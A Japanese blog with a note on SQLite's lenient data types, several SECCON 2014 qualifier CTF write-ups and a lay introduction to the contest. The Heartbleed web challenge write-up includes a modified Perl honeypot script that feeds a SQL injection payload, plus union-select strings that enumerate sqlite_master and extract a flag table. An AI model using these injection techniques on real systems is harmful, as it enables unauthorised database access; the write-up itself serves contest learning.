sqlite3のデータ型について

いくつか驚いたことがあったので忘れないようにメモ。

結論

  • create文で存在しないデータ型を指定してもエラーにならない
  • integer型のカラムに数字に出来そうにない文字列(e.g. sqlite)をぶち込んでもエラーにならない(text型で格納される)
  • データ型は「その型しか入らない」ではなく、「その型に変換できないかがんばる」ためのものと捉えた方がいい

実験

まずは、 integer型のidと、text型のnameというフィールドを持つテーブルを試す。

sqlite> create table texttype (id integer, name text);
sqlite> insert into texttype values (1, 'alice');
sqlite> insert into texttype values ('2', 'bob');
sqlite> insert into texttype values ('c', 'cindy');
sqlite> insert into texttype values (2.5, 1234);
sqlite> select id, typeof(id), name, typeof(name) from texttype;
1|integer|alice|text
2|integer|bob|text
c|text|cindy|text
2.5|real|1234|text

integer型の場合
整数→integer
数字リテラル→integer (型変換)
非数字リテラル→text
小数→real

と、当たり前のように整数型以外が入った。
どうも、「型変換はがんばるが、無理ならそのまま入れる」みたいな作りらしい。

続いて、あり得ないデータ型(foo, bar)でつくってみる。

sqlite> create table othertype (id foo, name bar);
sqlite> insert into othertype values (1, 'alice');
sqlite> insert into othertype values ('2', 'bob');
sqlite> insert into othertype values ('c', 'cindy');
sqlite> insert into othertype values (2.5, 1234);
sqlite> select id, typeof(id), name, typeof(name) from othertype;
1|integer|alice|text
2|integer|bob|text
c|text|cindy|text
2.5|real|1234|integer

型変換なしで何でも入る模様。

これだと

create table jiro (yasai mashimashi, ninniku Chomolungma, choi karame )

とか出来ちゃうってことか。。。


んー。DBのデータ型って意識したことなかったけど、こんなものなのか・・・


他のDBMSも調べてみよう。

SECCON2014 オンライン予選(en) QR300 SECCON Wars: The Flag Awakens

スターウォーズのオープニングみたいなムービー。

ただし、テロップの最後にQRコードっぽいのが見える。
そこで、フレームをJPGに切り出し
 ↓
必要箇所だけトリミング
 ↓
つなげる
 ↓
読み込む
 ↓
フラグ!

ちなみにトリミングは IrfanViewを利用。
結合もフリーソフト

あるもん使いで突破できてラッキー

SECCON2014 オンライン予選(en) web300 Bleeding "Heartbleed" Test Web

HeartBleedの脆弱性を持つサイトをテストする画面。
とりあえず、HeartBleedの脆弱性を持つVMを用意する。

実際実行してみたところ、特にリクエストにフラグ等はない。
(リクエストのパディングにフラグ埋め込むのだろうと思っていたので調子はずれ)

なんどうか実行していたら、偶然SQLエラーが発生した。
そこでこれがSQLi問題なのだと知る。

で、HeartBleedで抜き出されるメモリ内容の代わりに、任意の文字列を返すため、ハニーポットを用意。

#!/usr/bin/perl

# hb_honeypot.pl -- a quick 'n dirty honeypot hack for Heartbleed
#
# This Perl script listens on TCP port 443 and responds with completely bogus
# SSL heartbeat responses, unless it detects the start of a byte pattern
# similar to that used in Jared Stafford's (jspenguin@jspenguin.org) demo for
# CVE-2014-0160 'Heartbleed'.
#
# Run as root for the privileged port. Outputs IPs of suspected heartbleed scan
# to the console. Rickrolls scanner in the hex dump.
#
# 8 April 2014
# http://www.glitchwrks.com/
# shouts to binrev

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET (
LocalPort => '443',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);

die "Could not create socket!" unless $sock;

# The "done" bit of the handshake response
my $done = pack ("H*", '16030100010E');

# Your message here
#my $taunt = "09809*)(*)(76&^%&(*&^7657332 Hi there! Your scan has been logged! Have no fear, this is for research only -- We're never gonna give you up, never gonna let you down!";
my $taunt = "09809*)(*)(76&^%&(*&^7657332 'union select flag from ssFLGss; ";
my $troll = pack ("H*", ('180301' . sprintf( "%04x", length($taunt))));

# main "barf responses into the socket" loop
while (my $client = $sock->accept()) {
$client->autoflush(1);

my $found = 0;

# read things that look like lines, puke nonsense heartbeat responses until
# a line that looks like it's from the PoC shows up
while (<$client>) {
my $line = unpack("H*", $_);

if ($line =~ /^0034.*/) {
print $client $done;
$found = 1;
} else {
print $client $troll;
print $client $taunt;
}

if ($found == 1) {
print $client $troll;
print $client $taunt;
print $client->peerhost . "\n";
$found = 0;
}
}
}

close($sock);

そこに以下の順で攻撃コードを書いた。

まずはテーブルスキーマの把握。
エラー文から、実行されているSQLは

select time from results where result='Co...

だとわかったので、union selectで色々表示させてみる。

テーブル名をまず見てみる

' union select name from sqlite_master;

1回目では results というテーブル名が出てきてハズレっぽかったので

' union select name from sqlite_master where name!='results';

と、次のテーブル名を表示。
すると ssFLGss というテーブル名がでた。

テーブル構造を把握するため

' union select sql from sqlite_master name='ssFLGss';

すると flag ってフィールドがあるとわかったので、
最後のコード

'union select flag from ssFLGss;

を実行。

フラグ取得。


ちなみに今回外部アクセス可能なサーバはCloudnを使用して立ち上げました。
詳しいメンバーがいたとはいえ、一瞬で環境構築まで出来て驚き。

SECCON2014 オンライン予選(en) nw300 Get from curious "FTP" server

FTPサーバ。
でもftpコマンドでうまくいかず。

なんとなく普通の挙動はしてない気がしたのでTelnetで接続。
telnet ftpsv.quals.seccon.jp 21

もちろん裏ではwireshark

ログインはanonymous
とりあえず、普通使えるであろう LIST NIST ls が使えない。

どうすっかと思いつつ HELP を実行すると、RFC嫁と言われる。
http://hp.vector.co.jp/authors/VA002682/rfc959j.htm

ザーッと眺めつつ、ACCTを実行したら、PASVモードになれとの応答。
(あるいはデータポート指定しろ、だったのだが、NATの内側なのでPASVに)

データポートを別窓で繋ぎつつ、
再度ACCTしたら、ファイル名が届いた。

FTP Data (-rw-r--r-- 1 0 0 38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt\r\n)

もうこの時点で勝利確定。

RETR key_is_in_this_file_afjoirefjort94dv7u.txt

でフラグ取得。

SECCON2014 オンライン予選(en) nw200 Version2

srv h2o.pwn.seccon.jp.

DNSSRVレコードだろうと目星をつけるが、なんのサービスなのかわからず悩む。

そこでh2oでググったら某海外ゲームが出てきた。でも古いしバージョン2も出る気配はないので除外。

ここでチームメイトに もうすぐ出るバージョン2とH2Oからなに連想する?と聞いたところ
HTTP2のライブラリでH2Oというやつが在るということが判明。

とりあえずポート番号がわからない(80/443/8080いずれもNG)ので、
当初の発想に戻り、DNSSRVレコードを引く。


HTTPポート 65080 (今回はつかわないけど)

dig _http._tcp.h2o.pwn.seccon.jp. SRV
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> _http._tcp.h2o.pwn.seccon.jp. SRV
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9449
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;_http._tcp.h2o.pwn.seccon.jp. IN SRV

;; ANSWER SECTION:
_http._tcp.h2o.pwn.seccon.jp. 5 IN SRV 1 1 65080 h2o.pwn.seccon.jp.

;; Query time: 35 msec
;; SERVER: 192.168.159.2#53(192.168.159.2)
;; WHEN: Sun Dec 7 09:26:33 2014
;; MSG SIZE rcvd: 83

HTTPSポート 65432 (本命)

dig _https._tcp.h2o.pwn.seccon.jp. SRV
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> _https._tcp.h2o.pwn.seccon.jp. SRV
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12945
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;_https._tcp.h2o.pwn.seccon.jp. IN SRV

;; ANSWER SECTION:
_https._tcp.h2o.pwn.seccon.jp. 5 IN SRV 2 0 65432 h2o.pwn.seccon.jp.

;; Query time: 39 msec
;; SERVER: 192.168.159.2#53(192.168.159.2)
;; WHEN: Sun Dec 7 09:31:33 2014
;; MSG SIZE rcvd: 84

で、めでたくポート番号がわかったので、HTTP2を有効化したChromeにアクセス。

ヘッダの中にKey発見。

SECCONを専門じゃない人に紹介してみる

ちょっと気分転換もかねて、難しいことをわかりやすく?話す練習。

SECCONとは

きっとSecurytyContestの略。ようはハッキングからみんなを守る人材を発掘するべく、競技会をやりましょう。っていう催しです。
総務省後援で、国内のいろんな企業もスポーンサーになっている(http://2013.seccon.jp/sponsor.html)かなり規模のでかいイベントです。
競技会がなんで人材発掘になるの?どんな競技なの??ってのはこのあと。。。

競技について

とりあえず一言「ハッキング」と言ってましたが、もうちょい詳しく。。。
 
全国大会では、

「このパソコン好きにしていいから、以下の3つのことを達成しろ」

的な問題が(ヒントといっしょに)出ます。

といっても渡されるのはパソコン本体じゃなくネット上のアドレスなので、各チーム、ネット経由で攻略することになります。

そこで僕らは主に、以下の3つのことを目指します。

1) パソコン上隠された情報を盗み出す。
やり方はいろいろですが、パスワードで守られたページを無理やり開くとか、HPに公開してないファイルをダウンロードするとか、そういうことをやります。
僕達はそのパソコンを直接操作できないし、IDもパスワードも知らないので、ネット経由で何とか侵入して、ドロボーするのです。
ドロボーした情報の価値に応じて、ポイントが入ります。

2)自分たちの足跡を書き込む
普通おけない場所にファイルを置いたり、HPを書き換えたりして、「俺達このサーバー自由に操れるんだぜ」アピールをします。アピールするためには、ほんとに操れないといけないので、頑張って乗っ取ります。
足あとが残っていた時間と比例して得点が入りますが、他チームも足跡を残していたら、得点は折半です。

3)他のチームの邪魔をしろ
他のチームの足跡を消したり、自分たちが入ってきた穴(バグ)を修理してしまったり、果ては他チームの人がログインしてきた瞬間に無理やりログアウトさせたり、問題のパソコンの電源を落としたり(!)して、相手チームを妨害します。でも相手チームも邪魔してくるので、ここはもう戦争です。
(ここが一番競技っぽいですねw)
邪魔しても得点は入りませんが、他チームが1や2を達成できなくなる&2で特典を折半せず独り占めできる ので、結果的に順位が上がります。

一言でまとめると
「1番に乗っ取って、可能な限り他チームから守れ」
ですね。

攻撃も防御も両方できないと高得点が得られないので、なかなかシビアな競技です。

どうやって攻撃するの?
どうやって防御するの?

みたいな話は、ちょっとまだうまく説明できないので、おいおい。